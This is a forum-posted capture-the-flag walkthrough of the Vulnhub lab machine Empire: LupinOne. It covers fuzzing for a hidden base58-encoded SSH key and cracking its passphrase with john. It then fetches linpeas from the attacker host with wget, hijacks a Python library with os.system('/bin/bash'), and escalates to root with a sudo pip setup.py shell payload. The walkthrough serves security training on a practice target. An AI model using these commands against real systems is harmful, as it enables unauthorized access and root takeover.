• We just launched and are currently in beta. Join us as we build and grow the community.

Empire: LupinOne Vulnhub Walkthrough

Yecy

Snicker Maker
Y Rep
0
0
0
Rep
0
Y Vouches
0
0
0
Vouches
0
Posts
149
Likes
91
Bits
2 MONTHS
2 2 MONTHS OF SERVICE
LEVEL 1 300 XP
Empire: LupinOne is a Vulnhub easy-medium machine designed by icex64 and Empire Cybersecurity. This lab is appropriate for seasoned CTF players who want to put their skills to the test. Enumeration is the key, so, let’s get started and figure out how to break things down into manageable pieces.

Pentesting Methodology

Network Scanning

  • netdiscover
  • nmap

Enumeration

  • abusing HTTP
  • fuzzing

Exploitation

  • john
  • ssh

Privilege Escalation

  • linpeas
  • python library hijacking
  • pip
  • root flag

Level: Easy-Medium

Network Scanning

To begin, we must use the netdiscover command to scan the network for the IP address of the victim machine.

To move forward in this process, we are launching Nmap.

Code:
nmap -sC -sV 192.168.1.2

We have, according to the nmap output:

  • on port 22 there is an SSH server.
  • an HTTP service (Apache Server) running on port 80, as well as a /~myfiles

AVvXsEghBsP84_4xLRFQPdgiP6oO24gZ_1IR7PMzfcsRrITiADV56Gfup6xmiXSe-se5HEuoQ4nf5I5RpFQalh4YyAAZ0E7oYKTZMBi0rhwYCNDxJV4WOWI4NW1zCMvwxfHc9Jb_1T6QAjVJm8eqByS2DcK-aqAf0-HKuRpTgga8UvSUCGkAraCU7rpunLdZTQ=s16000


Enumeration

We began the enumeration procedure by inspecting the (/~myfiles) HTTP page. Discovered an Error 404, which seemed suspicious.

Code:
http://192.168.1.2/~myfiles/

AVvXsEhLH5sXCFOBNeJHgBJ1IDqH2OkfEhgvDFHcMSzswAgFMGG0K3Id-lUuF6wW0dJ77D7-GmFh-IOu8fVGnXuggRGIXWPsj7HEBhofU-ECTJKeQuGTAMBMKAQNw_9BEnJqCMq8w8AlhUdLwksXMzH6A4jO9lXeKhMk4EhHDLCqJQWOKuZiNNl6R4sZSCpxqA=s16000


We looked at the view page source and found comment “you can do it, keep trying”.

AVvXsEhm6WdtreqzMmhBFuD-dtE9w_Iy6dysF3CBgsoY3jThLS7WAVaMV5C1dXAXbZY8-15m_4tpM7Bpr9QaNQC6AMHoR6RvjqdrGFAGBI4XN1AbVVo98pTwkQYt6WRGl0HmkVcrbPPo2bBtNaKams6iixIAesyheb37eOUfn1T6VMalL516NSKp2jhioHTBNQ=s16000


As a result, we use fuzzing to gain some additional information from this case. We made use of ffuf and we obtained a directory (secret).

Code:
ffuf -c -w /usr/share/seclists/Discovery/Web-Content/common.txt -u 'http://192.168.1.2/~FUZZ'

AVvXsEjZ6f7qCjVe9e0Iu-wk4oyPAf7M1z5mLsRpHoYLeMr5bvcZQ9RsqbNIM1KtqBtpdbIr3xVN3yezqeqSs6MtEgWBI7YI_R9CqFXxsYCXpoCZPXNv7Z9Yk9RnEB1l9-FGUJ3egsymxYxDLBq96Xg82Vorm0EKbmi-8bgw6CyCemDrD0oSH5kBwdPMhbSpMQ=s16000


Take a good look at that secret directory and analyses that here author is sharing some information related to SSH private key file related to user “icex64” that we need to fuzz.

AVvXsEhwupkQdJHLd8xUCJJoRFZmijoRNwKZ9yKGILmhp3SMxS3uLODDooGt1E-LbenubOt0xpQxJiLS6bDbzadlyn2KE_kNqsjIJGMmDPD0R5U96ff2PaVNfmErzqgnewblm2eG6SeHxLqaRZ93KuadSoiOzHtcQklK23TyDwZRccjCWZqX6uGtZEMSGbblSQ=s16000


To find that secret private ssh key, we again use fuzzing with the help of ffuf once more and found text file (mysecret.txt).

Code:
ffuf -c -ic -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u 'http://192.168.1.2/~secret/.FUZZ' -fc 403 -e .txt,.html

AVvXsEi5QbA5G3b6uOm9Ju_dfUZqgHd4c-U_-anbrMPMZ1bUbfSgiRLNaiGOuPovaYoCP9DONRdykY0QcCsNMLrh9aFlOHO6c9L0EcIdvyCyfUTkxKOePVw9330JbwtRxjMrpzqzpBOvOc9oLPVa9DaeiUTFisf7tu01IDM04OpwUezDEOYEhazqttnoSGke3w=s16000


We explore mysecret.txt with a web browser. It appears to be a private ssh key, but it is encoded. We thoroughly examined this key and discovered that it is encoded in base 58.

Code:
http://192.168.1.2./~secret/.mysecret.txt

AVvXsEg84s0NAW0DGep_GZ2JJJvPapD-bmiPfHN8kTqqXh_wAmQGvRDQeII8qZoPqxx8mhWAuzXCVUo1jofUynz5ycgCtNxTpXZM20ym3kQHfzGSif0GGQRoVcYdkpyRzMwJeT57U_JOi5JsAV6DVpmQPTILVtexiNoemQnGkaDTZo4Yy7fUI0LozCXc-iM5zg=s16000


We looked up a base 58 decoder online and were met with browserling. It is the most basic online base-58 decoder for web developers and programmers.

Simply enter your data in the form below, click the Base-58 Decode button, and you’ll be presented with a base-58 encoded string. We obtained our ssh-key after decoding it.

AVvXsEirLSLPT-MiFXVXnIT8_s8Gu2UFPds70YN2EK9G_VubFyxEjZlBAZ88eMW42NEJOjgv2Qli4P0ZX646gpwAq-VdHCEJ4JoIIFOqG3zLSVlGBLqpUDZOAVJMut_jOrZeVkty6qMC1y-GHXMWefCT92Ac_GhpQXz7nhhBdTj2Ahk2aPytPxzz-VtrD_vPNw=s16000


Exploitation

Since the author has share some hint related to passphrase for SSH Key, thus we are using ssh2john to obtain the hash value of the ssh-key.

Code:
locate ssh2john
/usr/share/john/ssh2john.py sshkey > hash

Now, use john to crack the hash value.

Code:
john --wordlist=/usr/share/wordlists/fastrack.txt hash

In a few seconds, Bingo!! We obtained the ssh-key password (P@55w0rd!).

AVvXsEijOCVSJJBUX0zThR9vVWf-CHaLS2IDwCbNxV1_TGmJZxtZ9o-iUO5jm335xNU_L4-IO6SLgp3B6-8x7NJ3SGm8ZQZvJIevj3mKJfUi7MxViUegItw48yvk-hGgmvJEfc-zAvwBglI1WhPyW9nQRPiWTyjl9yxO9F0T9b5SNuLyieUV_gDZPAxm1deJQA=s16000


We have all of the requirements for ssh login. Use our icex64 username, ssh-key, and cracked password (P@55w0rd!).

Code:
ssh -i sshkey [email protected]

Bang!! We used the icex64 user to connect to ssh. We promptly verified this user’s access and discovered that a Python file was running. We promptly examined that file and discovered that it could be exploited using the Python Library Hijacking approach.

Code:
sudo -l
cat /home/arsene/heist.py

AVvXsEhBSCBNa0u9PentMJ8Pbp5k7XFzZRgb8GaiT0aurTrnrYY5udON_5DM6jhif3PVblPaNOXLmSnY4YEvhbuVQHloZx2jiWjeq8ml5C9p_it9hR9A2XxXUT-owiZ48T7pgvG59c7twyyW0TO29wwQ5bljWj_IGK8OV4rjouvcI_aUkkKHUgEtxG8Ax0kl-A=s16000


Privilege Escalation

We’ve started the process of escalating privileges. To begin with the Python Library Hijacking technique, we must first determine the coordinates of webbrowser.py. That’s why we’re employing the linpeas script.

We’ve previously downloaded the Linpeas script from git page. Now we just navigate to that directory and launch a basic Python http server.

Code:
python -m SimpleHTTPServer 80

AVvXsEh4BQ2VQiDgk_lKM7b3S5thy9Z01nEia3j2cJIBpV58zUyvnJEbzhs9CZSgTAnsDz3V8sZZdtKWQBkehmzqh3W2xSVVXV_eyxTCjmWcOTw-WZx1AxUXJ30one7QR_kC4LUG4NEJuPMSH4KB17Q1g5i9f8ot8nidaxFqpubrdhnTpwxeGeY6rgpCVivqNQ=s16000


Now we’ll switch to the icex64 terminal. We moved the directory to /tmp directory and imported the Linpeas script from Kali Linux using the wget function.

Code:
cd /tmp
wget 192.168.1.3/linpeas.sh

Then we granted the script the ALL permissions. Then we ran it right away.

Code:
chmod 777 linpeas.sh
./linpeas.sh

AVvXsEiZQlBdUI6gxnU7VILl5Phw-avfYYgRqCZO0pYa1wDHpL_2Lk2CaAc49wRhXgonvbqDYIL-y3CZNqWmAKxHocWyYBmxYrFQpaGIuPJyXFDz1gio-5Mqi4Nxu64aey_0eq32iRcpdoNHwx1nyWxzPnfA1UNwe_JcOibNsZaw62t-NcISiAieqPUVWtvjdg=s16000


We obtained the location of the Python file in a matter of seconds (webbrowser.py).

AVvXsEjXziEp5PBGXxWN_J-9E0TiFtYpBemHQsTCLgM86YOHKSGDLuarVj54lHDJrPHE7QymmDlTDDs7-1mYO1leBzd8Zm2cYioY6raHKDIBpxb3b632VvGcvXXbHaEvt_xhsOgzRtSQxpUmzhmQGqnK8fx1IwX4sYQQTE4x8w5D_cyhex7EDkCC33CiYXDfwA=s16000


We can now begin our Python Library Hijacking procedure where an attacker is introduced into a python-enabled environment, you can learn more about this strategy by clicking here.

To operate this python file, we utilised the nano command and edit the script to call /bin/bash code into it.

Code:
os.system ("/bin/bash")

AVvXsEhWkjkHox5l5yd_Zqt2Sl3_TSbEVxr79z8AFGanQ8TOEuL47SZw6u1ZBIRBsfdkTgjFHcN7MKen2SAWX6h4BXvIZntIsh8ShuITk5zwmWN5MQg40Xqvi8PlW4mvqH7vHl5ily8_4GSzvFJkXgDA8BqzJE5D2O1uizwc_My8cripa58ZpLj42RHMyh3YHg=s16000


After all of this effort, we ran the sudo command in conjunction with the coordinates specified in the permissions check on icex64. To switch the user icex64 to arsene.

Code:
sudo -u arsene /usr/bin/python3.9 /home/arsene/heist.py

We got the user arsene and checked this user SUDO permissions and found user has privilege to execute pip binary as root without atuthentication. We have an idea to do pip privilege escalation after evaluating a few more moments.

Code:
sudo -l

AVvXsEgvklUoad4JLXkXs14AoNBGI3Aswm0o-ZDYHuYXJRHJT90AMeyBkLS58O07ycTkzjTciLZ9CHnv4sQbMNAOMKH7vzQ1BKE2UBhhLZgelYLwqkRspcKv8ZfTwwvTH7Hk1bqfKyqRgh0aJL2khTuc3VwV5lSJFk5tUZ5_PlOEK3DUuI9v8p7zby5sbID9Xg=s16000


We used the gtfobin instructions provided here to conduct pip privilege escalation. If the programme is allowed to run as superuser by sudo, it retains its elevated rights and can be used to access the file system, escalate, or keep privileged access.

To conduct pip privilege escalation, we only need to run these three commands.

Code:
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF

Yippee!! Finally, we have the root; simply use the id command to check. It has been proven that it is root; simply change the directory to root. Congo!! We obtained the root flag.

AVvXsEhlfEyBcD3Gw2y6qRNfp0GXBB40IpRAYpbLcK9zEYNeEgFSdZ4wNf3sQemPL4UFMedkZyXYKY5Z3XaREzYCAAxXzT-8CinoiokZsvJLY4A2qd3uD53euSQmU8Z1QRehpRMtsC2YpALZ0FEixOFUWOcqYA1ZEZVZyzGGBJsywyo5f5CT3no53Qb9I7EUfA=s16000


This is how we’ll get at the machine’s shell. It was a terrific exercise, and it was a lot of fun to cheer for the winners. To comprehend many scenarios, it is required to try once.

Author: Shubham Sharma is a passionate Cybersecurity Researcher, contact LinkedInand Twitter.
 

432,230

312,541

312,550

Top